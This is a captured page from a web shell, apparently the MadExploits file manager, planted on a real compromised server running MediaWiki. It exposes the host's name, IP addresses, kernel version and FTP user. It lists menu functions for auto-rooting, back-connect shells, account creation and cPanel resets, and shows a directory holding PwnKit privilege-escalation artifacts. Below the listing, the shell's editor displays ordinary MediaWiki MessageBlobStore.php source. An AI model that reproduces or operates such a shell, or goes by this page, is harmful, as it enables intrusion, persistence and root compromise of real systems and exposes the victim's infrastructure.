Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
actions
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
debug
[ DIR ]
drwxr-xr-x
diff
[ DIR ]
drwxr-xr-x
extauth
[ DIR ]
drwxr-xr-x
filerepo
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
interwiki
[ DIR ]
drwxr-xr-x
job
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
logging
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
normal
[ DIR ]
drwxr-xr-x
objectcache
[ DIR ]
drwxr-xr-x
parser
[ DIR ]
drwxr-xr-x
profiler
[ DIR ]
drwxr-xr-x
resourceloader
[ DIR ]
drwxr-xr-x
revisiondelete
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
specials
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxr-xr-x
zhtable
[ DIR ]
drwxr-xr-x
.htaccess
14
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Action.php
14.69
KB
-rw-r--r--
AjaxDispatcher.php
3.34
KB
-rw-r--r--
AjaxResponse.php
6.32
KB
-rw-r--r--
Article.php
54.32
KB
-rw-r--r--
AuthPlugin.php
7.85
KB
-rw-r--r--
AutoLoader.php
52.01
KB
-rw-r--r--
Autopromote.php
5.92
KB
-rw-r--r--
BacklinkCache.php
9.32
KB
-rw-r--r--
Block.php
33.87
KB
-rw-r--r--
Category.php
8.44
KB
-rw-r--r--
CategoryPage.php
2.58
KB
-rw-r--r--
CategoryViewer.php
20
KB
-rw-r--r--
Categoryfinder.php
5.16
KB
-rw-r--r--
Cdb.php
3.67
KB
-rw-r--r--
Cdb_PHP.php
10.73
KB
-rw-r--r--
ChangeTags.php
8.57
KB
-rw-r--r--
ChangesFeed.php
5.94
KB
-rw-r--r--
ChangesList.php
34.87
KB
-rw-r--r--
Collation.php
9.86
KB
-rw-r--r--
ConfEditor.php
29.16
KB
-rw-r--r--
Cookie.php
6.22
KB
-rw-r--r--
CryptRand.php
17.09
KB
-rw-r--r--
DefaultSettings.php
186.34
KB
-rw-r--r--
DeferredUpdates.php
2.06
KB
-rw-r--r--
Defines.php
7.21
KB
-rw-r--r--
EditPage.php
103.6
KB
-rw-r--r--
Exception.php
13.93
KB
-rw-r--r--
Export.php
32.68
KB
-rw-r--r--
ExternalEdit.php
3.51
KB
-rw-r--r--
ExternalStore.php
4.29
KB
-rw-r--r--
ExternalStoreDB.php
4.47
KB
-rw-r--r--
ExternalStoreHttp.php
463
B
-rw-r--r--
ExternalUser.php
8.96
KB
-rw-r--r--
FakeTitle.php
6.54
KB
-rw-r--r--
Fallback.php
5.61
KB
-rw-r--r--
Feed.php
10.26
KB
-rw-r--r--
FeedUtils.php
6.37
KB
-rw-r--r--
FileDeleteForm.php
10.06
KB
-rw-r--r--
ForkController.php
4.04
KB
-rw-r--r--
FormOptions.php
7.56
KB
-rw-r--r--
GlobalFunctions.php
107.24
KB
-rw-r--r--
HTMLForm.php
53.15
KB
-rw-r--r--
HistoryBlob.php
14.38
KB
-rw-r--r--
Hooks.php
7.89
KB
-rw-r--r--
Html.php
26.4
KB
-rw-r--r--
HttpFunctions.old.php
318
B
-rw-r--r--
HttpFunctions.php
23.29
KB
-rw-r--r--
IP.php
21.76
KB
-rw-r--r--
ImageFunctions.php
2.33
KB
-rw-r--r--
ImageGallery.php
10.42
KB
-rw-r--r--
ImagePage.php
36.96
KB
-rw-r--r--
ImageQueryPage.php
1.5
KB
-rw-r--r--
Import.php
37.73
KB
-rw-r--r--
Init.php
5.19
KB
-rw-r--r--
Licenses.php
4.17
KB
-rw-r--r--
LinkFilter.php
4.46
KB
-rw-r--r--
Linker.php
67.82
KB
-rw-r--r--
LinksUpdate.php
24.83
KB
-rw-r--r--
LocalisationCache.php
31.51
KB
-rw-r--r--
MWFunction.php
2.22
KB
-rw-r--r--
MagicWord.php
19.42
KB
-rw-r--r--
Message.php
15.95
KB
-rw-r--r--
MessageBlobStore.php
10.5
KB
-rw-r--r--
Metadata.php
5.5
KB
-rw-r--r--
MimeMagic.php
32.92
KB
-rw-r--r--
Namespace.php
9.02
KB
-rw-r--r--
OutputHandler.php
4.81
KB
-rw-r--r--
OutputPage.php
104.02
KB
-rw-r--r--
PHPVersionError.php
2.95
KB
-rw-r--r--
PageQueryPage.php
639
B
-rw-r--r--
Pager.php
33.1
KB
-rw-r--r--
PathRouter.php
11.23
KB
-rw-r--r--
PoolCounter.php
5.69
KB
-rw-r--r--
Preferences.php
47.49
KB
-rw-r--r--
PrefixSearch.php
5.55
KB
-rw-r--r--
ProtectionForm.php
20.1
KB
-rw-r--r--
ProxyTools.php
2.5
KB
-rw-r--r--
QueryPage.php
22.78
KB
-rw-r--r--
RecentChange.php
22.31
KB
-rw-r--r--
Revision.php
33.01
KB
-rw-r--r--
RevisionList.php
7.2
KB
-rw-r--r--
Sanitizer.php
52.53
KB
-rw-r--r--
SeleniumWebSettings.php
5.85
KB
-rw-r--r--
Setup.php
16.36
KB
-rw-r--r--
SiteConfiguration.php
12.88
KB
-rw-r--r--
SiteStats.php
11.54
KB
-rw-r--r--
Skin.php
41.11
KB
-rw-r--r--
SkinLegacy.php
20.25
KB
-rw-r--r--
SkinTemplate.php
62.44
KB
-rw-r--r--
SpecialPage.php
32.82
KB
-rw-r--r--
SpecialPageFactory.php
18.3
KB
-rw-r--r--
SquidPurgeClient.php
10.05
KB
-rw-r--r--
Status.php
8.62
KB
-rw-r--r--
StreamFile.php
5.46
KB
-rw-r--r--
StringUtils.php
11.32
KB
-rw-r--r--
StubObject.php
4.61
KB
-rw-r--r--
Title.php
133.73
KB
-rw-r--r--
TitleArray.php
1.95
KB
-rw-r--r--
User.php
116.25
KB
-rw-r--r--
UserArray.php
1.92
KB
-rw-r--r--
UserMailer.php
24.12
KB
-rw-r--r--
UserRightsProxy.php
5.56
KB
-rw-r--r--
ViewCountUpdate.php
3.43
KB
-rw-r--r--
WatchedItem.php
4.81
KB
-rw-r--r--
WebRequest.php
37.03
KB
-rw-r--r--
WebResponse.php
4.29
KB
-rw-r--r--
WebStart.php
4.94
KB
-rw-r--r--
Wiki.php
18.24
KB
-rw-r--r--
WikiCategoryPage.php
618
B
-rw-r--r--
WikiError.php
3.88
KB
-rw-r--r--
WikiFilePage.php
3.71
KB
-rw-r--r--
WikiMap.php
5.38
KB
-rw-r--r--
WikiPage.php
85.98
KB
-rw-r--r--
Xml.php
27.63
KB
-rw-r--r--
XmlTypeCheck.php
2.52
KB
-rw-r--r--
ZhClient.php
2.85
KB
-rw-r--r--
ZhConversion.php
415
KB
-rw-r--r--
ZipDirectoryReader.php
20.33
KB
-rw-r--r--
mime.info
3.86
KB
-rw-r--r--
mime.types
5.24
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
tidy.conf
413
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MessageBlobStore.php
<?php /** * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @author Roan Kattouw * @author Trevor Parscal */ /** * This class provides access to the resource message blobs storage used by * the ResourceLoader. * * A message blob is a JSON object containing the interface messages for a * certain resource in a certain language. These message blobs are cached * in the msg_resource table and automatically invalidated when one of their * consistuent messages or the resource itself is changed. */ class MessageBlobStore { /** * Get the message blobs for a set of modules * * @param $resourceLoader ResourceLoader object * @param $modules array Array of module objects keyed by module name * @param $lang string Language code * @return array An array mapping module names to message blobs */ public static function get( ResourceLoader $resourceLoader, $modules, $lang ) { wfProfileIn( __METHOD__ ); if ( !count( $modules ) ) { wfProfileOut( __METHOD__ ); return array(); } // Try getting from the DB first $blobs = self::getFromDB( $resourceLoader, array_keys( $modules ), $lang ); // Generate blobs for any missing modules and store them in the DB $missing = array_diff( array_keys( $modules ), array_keys( $blobs ) ); foreach ( $missing as $name ) { $blob = self::insertMessageBlob( $name, $modules[$name], $lang ); if ( $blob ) { $blobs[$name] = $blob; } } wfProfileOut( __METHOD__ ); return $blobs; } /** * Generate and insert a new message blob. If the blob was already * present, it is not regenerated; instead, the preexisting blob * is fetched and returned. * * @param $name String: module name * @param $module ResourceLoaderModule object * @param $lang String: language code * @return mixed Message blob or false if the module has no messages */ public static function insertMessageBlob( $name, ResourceLoaderModule $module, $lang ) { $blob = self::generateMessageBlob( $module, $lang ); if ( !$blob ) { return false; } $dbw = wfGetDB( DB_MASTER ); $success = $dbw->insert( 'msg_resource', array( 'mr_lang' => $lang, 'mr_resource' => $name, 'mr_blob' => $blob, 'mr_timestamp' => $dbw->timestamp() ), __METHOD__, array( 'IGNORE' ) ); if ( $success ) { if ( $dbw->affectedRows() == 0 ) { // Blob was already present, fetch it $blob = $dbw->selectField( 'msg_resource', 'mr_blob', array( 'mr_resource' => $name, 'mr_lang' => $lang, ), __METHOD__ ); } else { // Update msg_resource_links $rows = array(); foreach ( $module->getMessages() as $key ) { $rows[] = array( 'mrl_resource' => $name, 'mrl_message' => $key ); } $dbw->insert( 'msg_resource_links', $rows, __METHOD__, array( 'IGNORE' ) ); } } return $blob; } /** * Update the message blob for a given module in a given language * * @param $name String: module name * @param $module ResourceLoaderModule object * @param $lang String: language code * @return String Regenerated message blob, or null if there was no blob for the given module/language pair */ public static function updateModule( $name, ResourceLoaderModule $module, $lang ) { $dbw = wfGetDB( DB_MASTER ); $row = $dbw->selectRow( 'msg_resource', 'mr_blob', array( 'mr_resource' => $name, 'mr_lang' => $lang ), __METHOD__ ); if ( !$row ) { return null; } // Save the old and new blobs for later $oldBlob = $row->mr_blob; $newBlob = self::generateMessageBlob( $module, $lang ); $newRow = array( 'mr_resource' => $name, 'mr_lang' => $lang, 'mr_blob' => $newBlob, 'mr_timestamp' => $dbw->timestamp() ); $dbw->replace( 'msg_resource', array( array( 'mr_resource', 'mr_lang' ) ), $newRow, __METHOD__ ); // Figure out which messages were added and removed $oldMessages = array_keys( FormatJson::decode( $oldBlob, true ) ); $newMessages = array_keys( FormatJson::decode( $newBlob, true ) ); $added = array_diff( $newMessages, $oldMessages ); $removed = array_diff( $oldMessages, $newMessages ); // Delete removed messages, insert added ones if ( $removed ) { $dbw->delete( 'msg_resource_links', array( 'mrl_resource' => $name, 'mrl_message' => $removed ), __METHOD__ ); } $newLinksRows = array(); foreach ( $added as $message ) { $newLinksRows[] = array( 'mrl_resource' => $name, 'mrl_message' => $message ); } if ( $newLinksRows ) { $dbw->insert( 'msg_resource_links', $newLinksRows, __METHOD__, array( 'IGNORE' ) // just in case ); } return $newBlob; } /** * Update a single message in all message blobs it occurs in. * * @param $key String: message key */ public static function updateMessage( $key ) { $dbw = wfGetDB( DB_MASTER ); // Keep running until the updates queue is empty. // Due to update conflicts, the queue might not be emptied // in one iteration. $updates = null; do { $updates = self::getUpdatesForMessage( $key, $updates ); foreach ( $updates as $k => $update ) { // Update the row on the condition that it // didn't change since we fetched it by putting // the timestamp in the WHERE clause. $success = $dbw->update( 'msg_resource', array( 'mr_blob' => $update['newBlob'], 'mr_timestamp' => $dbw->timestamp() ), array( 'mr_resource' => $update['resource'], 'mr_lang' => $update['lang'], 'mr_timestamp' => $update['timestamp'] ), __METHOD__ ); // Only requeue conflicted updates. // If update() returned false, don't retry, for // fear of getting into an infinite loop if ( !( $success && $dbw->affectedRows() == 0 ) ) { // Not conflicted unset( $updates[$k] ); } } } while ( count( $updates ) ); // No need to update msg_resource_links because we didn't add // or remove any messages, we just changed their contents. } public static function clear() { // TODO: Give this some more thought // TODO: Is TRUNCATE better? $dbw = wfGetDB( DB_MASTER ); $dbw->delete( 'msg_resource', '*', __METHOD__ ); $dbw->delete( 'msg_resource_links', '*', __METHOD__ ); } /** * Create an update queue for updateMessage() * * @param $key String: message key * @param $prevUpdates Array: updates queue to refresh or null to build a fresh update queue * @return Array: updates queue */ private static function getUpdatesForMessage( $key, $prevUpdates = null ) { $dbw = wfGetDB( DB_MASTER ); if ( is_null( $prevUpdates ) ) { // Fetch all blobs referencing $key $res = $dbw->select( array( 'msg_resource', 'msg_resource_links' ), array( 'mr_resource', 'mr_lang', 'mr_blob', 'mr_timestamp' ), array( 'mrl_message' => $key, 'mr_resource=mrl_resource' ), __METHOD__ ); } else { // Refetch the blobs referenced by $prevUpdates // Reorganize the (resource, lang) pairs in the format // expected by makeWhereFrom2d() $twoD = array(); foreach ( $prevUpdates as $update ) { $twoD[$update['resource']][$update['lang']] = true; } $res = $dbw->select( 'msg_resource', array( 'mr_resource', 'mr_lang', 'mr_blob', 'mr_timestamp' ), $dbw->makeWhereFrom2d( $twoD, 'mr_resource', 'mr_lang' ), __METHOD__ ); } // Build the new updates queue $updates = array(); foreach ( $res as $row ) { $updates[] = array( 'resource' => $row->mr_resource, 'lang' => $row->mr_lang, 'timestamp' => $row->mr_timestamp, 'newBlob' => self::reencodeBlob( $row->mr_blob, $key, $row->mr_lang ) ); } return $updates; } /** * Reencode a message blob with the updated value for a message * * @param $blob String: message blob (JSON object) * @param $key String: message key * @param $lang String: language code * @return Message blob with $key replaced with its new value */ private static function reencodeBlob( $blob, $key, $lang ) { $decoded = FormatJson::decode( $blob, true ); $decoded[$key] = wfMsgExt( $key, array( 'language' => $lang ) ); return FormatJson::encode( (object)$decoded ); } /** * Get the message blobs for a set of modules from the database. * Modules whose blobs are not in the database are silently dropped. * * @param $resourceLoader ResourceLoader object * @param $modules Array of module names * @param $lang String: language code * @return array Array mapping module names to blobs */ private static function getFromDB( ResourceLoader $resourceLoader, $modules, $lang ) { global $wgCacheEpoch; $retval = array(); $dbr = wfGetDB( DB_SLAVE ); $res = $dbr->select( 'msg_resource', array( 'mr_blob', 'mr_resource', 'mr_timestamp' ), array( 'mr_resource' => $modules, 'mr_lang' => $lang ), __METHOD__ ); foreach ( $res as $row ) { $module = $resourceLoader->getModule( $row->mr_resource ); if ( !$module ) { // This shouldn't be possible throw new MWException( __METHOD__ . ' passed an invalid module name' ); } // Update the module's blobs if the set of messages changed or if the blob is // older than $wgCacheEpoch if ( array_keys( FormatJson::decode( $row->mr_blob, true ) ) !== array_values( array_unique( $module->getMessages() ) ) || wfTimestamp( TS_MW, $row->mr_timestamp ) <= $wgCacheEpoch ) { $retval[$row->mr_resource] = self::updateModule( $row->mr_resource, $module, $lang ); } else { $retval[$row->mr_resource] = $row->mr_blob; } } return $retval; } /** * Generate the message blob for a given module in a given language. * * @param $module ResourceLoaderModule object * @param $lang String: language code * @return String: JSON object */ private static function generateMessageBlob( ResourceLoaderModule $module, $lang ) { $messages = array(); foreach ( $module->getMessages() as $key ) { $messages[$key] = wfMsgExt( $key, array( 'language' => $lang ) ); } return FormatJson::encode( (object)$messages ); } }
Close